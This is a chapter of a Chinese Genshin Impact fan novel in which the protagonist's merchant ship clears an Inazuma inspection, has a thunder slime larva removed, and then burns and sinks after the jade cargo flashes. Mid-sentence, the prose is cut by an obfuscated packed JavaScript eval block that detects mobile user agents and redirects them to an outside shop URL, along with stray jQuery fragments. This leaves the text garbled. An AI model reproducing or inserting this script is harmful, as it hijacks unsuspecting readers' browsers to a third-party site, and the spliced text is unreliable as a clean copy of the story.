47.入境检查(上)
作品:《[原神]继承望舒但欠债五十万》 勘定奉行的检验官来得很快。
两个人。一个穿深蓝制服的中年人,一个跟在后面的年轻助手。中年人面无表情,手里夹着一摞表格。
稻妻的公务员和璃月的公务员长得不一样,但那种"我今天还有十七条船要查"的疲惫感是一样的。
"入境资质文件。"
船籍证明。货物申报单。南十字推荐函。入港预批文。璃月港商户认定。
一样一样递过去。检验官站在码头上逐份核对,在表格上打勾。
"有没有携带违禁品?"
派蒙在旁边歪了一下头:"违金品?什么东西违了金?金子犯了什么错?"
荧:"违禁品。禁止的禁。"
派蒙:"哦。那没有。我们是正经商人。"
检验官没理她。文件核对完毕,他合上表格。
"登船检查。"
中年人踩上跳板,木头吱嘎响了一声。他上了甲板,目光沿着桅杆扫到帆面,又扫到舵轮,最后停在甲板上拆掉铁质风向标的位置。
"风向标呢?"
"进入稻妻海域前拆了,换成木头的。"荧说,"避免雷暴天引雷。"
检验官看了她一眼。大概是没见过璃月商船会主动做防雷处理的。他在表格上记了一笔。
甲板检查完,他走到货舱门口。
"开舱。"
荧没有立刻开门。
"检验官,开舱之前有一件事需要提前说明。"
中年人停住了。
"航行途中,一只雷史莱姆的幼体从左舷渗水缝隙进入了货舱。体型很小,鸡蛋大,附着在货舱架子横杆背面。幼体元素力未发育完全,暂时不会主动放电,但受到物理刺激可能触发微弱的感电反应。"
她把笔记本翻到对应的那页给他看。"我在发现当天做了记录,标注了它的位置。货舱底部有左舷渗水形成的积水,靠岸前我让初号机把大部分积水舀过一遍了,但船体还在轻微渗,没法完全清干。"
检验官的表情变了。不是惊慌,是严肃。
他转向助手。"回去通知离岛值班所,让天领奉行的驻港同心过来处理。在人到之前,货舱封锁,所有人员撤离船体,任何人不得登船。"
助手跑了。
检验官带着荧和派蒙回到码头上。"你确定它没有主动放电过?"
"八天航程中我每隔一个时辰检查一次,没有放电记录。它一直贴在干燥的木质横杆上,周围没有导电介质。但它在长大。昨天量过,比前天大了一圈。"
"贵国的船怎么会有雷元素魔物?"
"它不是我带的。璃月外海到稻妻海域的航路上,这个季节洋流偏东南,海里有大量雷元素生物的幼体随洋流迁徙。它大概是第五天夜间从船底渗水缝隙挤进来的,进来的时候可能只有指甲盖大小。"
检验官在表格上写了一大段。
大约两刻钟后,天领奉行的驻港同心到了。两个人,一个年长的负责人,一个年轻的助手,都穿着天领奉行的制服,背着带雷元素警示符号的装备箱。
负责人听完检验官的情况说明,又问了荧几个问题:幼体位置、货舱布局、积水深度、舱内有无金属构件。然后他和助手开始做准备。
绝缘木底靴,两双。绝缘胶皮长钳,一根。防火帆布,两块。小型绝缘容器,一个。
"标准取样流程。"负责人对检验官说,"先铺防火帆布隔离幼体周围区域,排干附近积水,然后用绝缘钳提取,放入密封容器。一成多发育度的幼体,应激放电的强度不会超过静电水平,不会有问题。"
两个人换了靴子,带上装备,走上跳板进了船。
码头上的人都在等。检验官站在一旁,表格夹在腋下。荧站在码头边缘,目光盯着稳沉号的货舱门。派蒙飘在荧旁边,一只手不自觉地摸着怀里的避水符。
舱里传来负责人的声音:"目标确认,横杆背面,紫色胶质体。开始排水。"
安静了一会儿。
"排水完毕。铺设防火帆布。"
等了一会儿。
"准备提取。"
很轻的一声"噗"。金属钳夹住软体的声音。
安静。
然后负责人的声音传出来,语气轻松:"搞定。一成多的幼体,没什么难度。"
荧松了一口气。她没意识到自己一直在屏息。
两个同心从货舱门里走出来。不是跑,是走。负责人手里端着密封容器,盖子拧得很紧,里面的紫色胶质体隔着半透明的罐壁隐约可见。助手跟在后面,已经在脱绝缘靴了。
荧注意到货舱门口飘出了一丝极淡的、几乎看不见的白气。但两个专业人员都没有回头,她以为那只是舱内外温差造成的水汽。
"舱内安全,可以搬货了。"负责人对检验官说。
派蒙也松了口气。"搞定了?那我们可以搬货了?荧,先搬极品那箱还是先搬松茸?松茸不耐放,我觉得应该先……"
检验官点头,在表格上记了一笔,转向荧:"开始开箱检验。你把箱子……"
他没说完。
因为稳沉号的货舱方向亮了。
不是火。不是反光。是一种从内部涌出来的、完全不属于白天的光。
蓝色的光。不是幽蓝,不是淡蓝,是像闪电劈开天空时那种刺目的冰蓝色。
荧后来试图向别人描述那一刻看到的东西,每次都觉得语言不够用。
光从货舱门里涌出来的时候不是一道线,是一整面墙。蓝色的墙。它撞上甲板,甲板变蓝了。撞上桅杆,桅杆变蓝了。撞上帆面,帆面变蓝了。然后它越过船舷往四面八方扩散,扫过码头地面,扫过停靠在旁边的渔船,扫过检验官手里的表格,扫过派蒙银白色的头发。
荧低头看了一眼自己的手。手背是蓝色的。指甲缝是蓝色的。袖口的线头是蓝色的。
她的影子被投在身后的码头地面上。
但现在是白天。太阳在头顶。她本来不应该有那么重的影子。
蓝光在跟太阳抢影子。而且赢了。
离岛港口所有人都停下了手里的活。卸货的放下了箱子,拉缆绳的松了手,吆喝鱼价的闭上了嘴。所有人都在往她的船的方向看,表情是同一种:不理解。
不只是港口。后来她知道三条街以外都看到了。
光持续了大约十秒。
这十秒里时间是不对的。荧觉得自己站在那里站了很久,久到能把码头上每一个人的表情都看清楚。
万叶教过她夜泊石遇暗处发光。万叶没教过她两百七十二块夜泊石被雷元素同时激发是什么效果。
没有人教过她。因为大概从来没有人见过。
蓝光暗了。
暗下来之后世界有一瞬间变得特别黑,像是眼睛被强光晃过之后的那种短暂失明。等视觉恢复的时候,荧看到的第一个东西是货舱门里翻涌出来的烟。
黄色的烟。带火星的烟。木头在烧。
负责人反应很快。他把密封容器塞给助手,转身冲上跳板。走到一半,一股热浪从舱门方向扑过来,他抬手挡了一下脸,退了回来。
"进不去了。"他回头喊,"舱内温度太高。"
荧盯着冒烟的货舱门,脑子里快速过了一遍:六箱夜泊石,全在舱里。笔记本,在她手上。初号机,在码头上。派蒙,在她旁边。
人都在。货在烧。
然后她听到了一个声音。
"咔。"
不大。闷闷的。像是有人在船肚子里折断了一根很粗的筷子。
然后是持续的"嘎吱"声。
左舷方向传来的。
老周头的声音在她脑子里响了起来,清清楚楚的,像老头就站在旁边:左舷这几块旧板味道有点冲,木头已经开始发酸了。
甲板动了。
不是涌浪。涌浪是左右摇,会回来的。
这个是往□□。不回来。
船底传来水声。不是海浪拍船的那种"哗哗",是水往封闭空间里灌的那种声音,闷的,"咕噜咕噜"的。
荧在这一秒里做了一个判断:左舷旧板烧穿了,水线以下进水,船保不住了。
离岛港口是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210115|193652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深水港。能停南十字船队的大型三桅帆船。稳沉号吃水浅,一旦沉下去就是完全沉没。
她有多少时间?
看甲板倾斜的速度,大概一盏茶。
一盏茶。
荧往跳板方向跑了。
"荧!"派蒙在后面喊。
跳板已经歪了,一头翘起来。荧踩上去的时候木板在晃,她压低重心冲过去,跳上了甲板。甲板是斜的,左脚比右脚低了大半个掌宽,而且每一秒都在继续倾斜。
货舱门在冒烟。进不去。六箱夜泊石在里面,她够不到。
但她不是来抢石头的。
她转身冲向船尾的舵轮位置。舵轮旁边的木楔子下面压着一个油布包。里面是她从第一趟出海到现在的全部航行日志、账本、凝光的试点任务文件、北斗的航线图副本、万叶画的稻妻海域洋流标注、抵押给行秋的冰史莱姆借据。
三趟远洋的全部纸质记录。
她烧了可以。石头沉了可以。这个不可以。
甲板的倾斜角度在加大。荧蹲下去的时候左脚打了一下滑,膝盖磕在甲板上,一阵尖锐的痛从膝盖骨直窜到后脑勺。她咬了一下牙没出声,伸手扣住木楔子往外拽。木楔子受潮膨胀了,卡得很紧。
前世有句话怎么说来着。人在快死的时候会看到走马灯。荧现在快死的感觉还没有,但她确信如果她死在这里,走马灯的最后一帧一定是一个拔不出来的木楔子。
她用力拽了两下,第三下连木楔子带油布包一起拔了出来。
油布包抱在怀里。
起身。
甲板已经斜到站不稳了。左舷那边的海水已经漫过了船舷,正在往甲板上涌。荧的鞋底踩到了水,脚下一滑,差点摔倒。她一只手抱着油布包,另一只手扶住舵轮的底座,稳住了。
跳板已经脱离了码头,一头泡在水里。跳不回去了。
荧看了一眼码头。大概两丈远。
"初号机!接着!"
她把油布包朝码头方向扔了出去。初号机蹲在码头边缘,伸手稳稳接住了。
然后荧从右舷船舷翻了出去,跳进了港口的水里。
水很凉。稻妻的海水比璃月的冷。
她在水里扑腾了两下,抓住了码头边缘的缆绳桩,翻上了码头。从跳上船到翻回码头,大概半盏茶。
她站在码头上,浑身湿透,喘着气。
转过身。
稳沉号已经斜到桅杆快碰到水面了。海水从左舷灌进去,货舱已经完全淹没。船体在以一种缓慢的、庄重的速度下沉。
派蒙飘在半空,攥着避水符。上一次看到船沉是第一次出海,那次她被风暴吹到了半空,嘴里灌了满口海草,吓得哭了半个时辰。但这次她没哭。她飘在那里,嘴唇绷成一条线,盯着正在下沉的稳沉号。
初号机蹲在码头上,一只手抱着油布包,另一只手翻开自己的小本子,在上面画了一艘歪掉的船。
桅杆尖端最后消失在水面以下。
冒了几个气泡。
然后平静了。
稳沉号。
一千五百摩拉月租的船。踩三下掉一块板的船。补了十六块新板、万叶亲手修过的船。从璃月开到稻妻的船。
沉了。
如果船有朋友圈,上一条是"从璃月开到稻妻,集一百个赞"。这一条应该是"入境第一天就沉了,赞就不用集了"。
荧接过初号机手里的油布包,打开检查了一下。航行日志,干的。账本,干的。凝光的试点文件,干的。油布防水做得不错。
她把油布包重新裹好,抱在怀里坐下来。
然后她觉得眼眶有点发酸。
不是因为石头。石头在水里,能捞。不是因为钱。钱的事可以算。是因为她记得第一次站上那块甲板的时候连"收帆"都听不懂。记得右舷第三块板踩三下就掉,后来修了三次,最后一次是万叶亲手换的垂香木。记得老周头不上远洋的船但帮她递了最后两箱货。记得初号机值夜时候趴在甲板上听船底的声音。
她眨了一下眼睛,把那点酸味压回去了,默默的拿出笔记本。

